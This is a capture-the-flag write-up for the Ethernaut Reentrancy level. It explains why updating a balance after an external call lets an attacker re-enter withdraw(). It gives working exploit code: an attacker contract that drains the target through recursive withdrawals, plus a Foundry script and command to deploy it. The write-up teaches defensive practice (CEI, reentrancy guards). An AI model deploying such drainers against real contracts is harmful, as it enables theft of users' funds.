The Ethernaut CTF Solutions | 10 - Reentrancy

The Ethernaut CTF Solutions | 10 - Reentrancy

Infinite Withdrawals: Exploiting Reentrancy in Solidity and the Critical Role of CEI

ยท

4 min read

Goals

The title is a pretty big hint in this challenge.

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

// import 'openzeppelin-contracts-06/math/SafeMath.sol';
import {SafeMath} from "../helpers/SafeMath-06.sol";

contract Reentrance {
    using SafeMath for uint256;
    mapping(address => uint) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
    }

    function withdraw(uint _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result, ) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

The hack

In this level, we have to drain all the funds from the contract. We have to be familiar with reentrancy attacks, and that is what this very simple example is for.

A reentrancy attack can happen after an external call to another contract. For instance, upon receiving ether, the contract can respond to the transfer. That is when we can "reenter" the contract. And that is why the "Check-Effect-Interaction" pattern or CEI matters.

In this case, the msg.sender's balance is updated AFTER the external call, which leaves the door open for a reentrancy attack.

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

How does the attack work?

Since the balance is updated after the external call, we can call the withdraw function, and reenter the contract via a fallback() function upon receiving ether. At this point, despite having already withdrawn our balance, we can withdraw again since the state hasn't been updated yet!

// This will always be true
balances[msg.sender] >= _amount;

We can repeat this process until the contract is drained. The withdraw function will finally finish its execution and update our balance... a little too late.

Hence the CEI:

  • Check: Make sure all your inputs and conditions are correct.

  • Effect: Update all states.

  • Interaction: Interact with other contracts.

Solution

Let's take advantage of the withdraw function to reenter the contract and drain it since it lacks a proper CEI pattern.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
}

contract Reentered {
    address private immutable target;
    uint256 donation = 0.001 ether;

    constructor(address _target) public {
        target = _target;
    }

    receive() external payable {
        if (target.balance >= donation) {
            IReentrance(target).withdraw(donation);
        }
    }

    function attack() public payable {
        // 1. Donate so you have some funds to withdraw
        IReentrance(target).donate{value: donation}(address(this));
        // 2. Call the withdraw function to start the reentrancy
        IReentrance(target).withdraw(donation);
        // 3. The contract has been drained successfully
        require(address(target).balance == 0, "Reentrancy failed!");
        // 4. Withdraw the funds from the attacker's contract
        withdraw();
    }

    function withdraw() public {
        uint256 bal = address(this).balance;
        (bool success, ) = msg.sender.call{value: bal}("");
        require(success, "Transfer Failed");
    }
}

So what will happen exactly? Upon calling:

IReentrance(target).withdraw(donation);

The vulnerable contract will send our ether back to the Reentered contract, which will trigger the receive() function:

receive() external payable {
        if (target.balance >= donation) {
            IReentrance(target).withdraw(donation);
        }
    }

The receive() function will call the withdraw() function again, which will trigger the `receive() function again, ... until the contract is completely drained.

Let's write the deployment script for convenience:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {Reentered} from "../src/10_Reentrancy.sol";

contract PoC is Script {
    // Replace with your Reentrancy instance
    address payable immutable reentrancy =
        payable(0x1b625D92F3E42303AbbE7F697E29e035BB6B829F); 

    function run() external payable {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        Reentered reentered = new Reentered(reentrancy);
        reentered.attack();

        vm.stopBroadcast();
    }
}

Then, you can use forge scripts to deploy this contract and call the attack function:

forge script script/10_Reentrancy.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

Note: Since the contract starts with 0.001 ether, leaving its balance at 0 is fairly simple. For a more "realistic" approach, you would have to improve the calculation method to drain the contract's balance entirely.

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • CHECK-EFFECT-INTERACTION pattern must be systematically followed.

  • Use a reentrancy guard if in doubt. Better safe than sorry.

Reference


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย